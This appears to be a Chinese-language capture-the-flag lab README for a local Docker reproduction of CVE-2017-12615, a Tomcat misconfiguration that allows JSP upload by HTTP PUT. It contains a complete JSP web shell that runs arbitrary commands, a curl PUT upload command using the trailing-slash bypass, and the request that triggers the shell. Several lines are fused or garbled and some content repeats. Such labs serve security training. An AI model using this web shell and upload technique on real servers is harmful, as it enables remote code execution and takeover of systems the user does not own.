本实验室模拟漏洞 CVE-2017-12615 Tomcat: 通过JSP上传实现远程代码执行
由设置 readonly=false 导致,允许通过 HTTP PUT 上传文件,包括可执行命令的 .jsp 文件(远程代码执行)
readonly=false.jsp 文件放置到 ROOT web 目录flag_RANDOM.txt/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
打开网页:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
存储在:
/tmp/flag_RANDOM.txt
本实验室模拟 CVE-2017-12615 Tomcat: 通过JSP上传实现远程代码执行,其中 Apache Tomcat 的 DefaultServlet 被错误配置为:
readonly=false
这使得攻击者可以通过 HTTP PUT 上传 .jsp 文件,实现远程代码执行。

readonly=false.jsp 文件写入 ROOT web 目录flag_RANDOM.txtcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
仅用于教育、研究和授权渗透测试。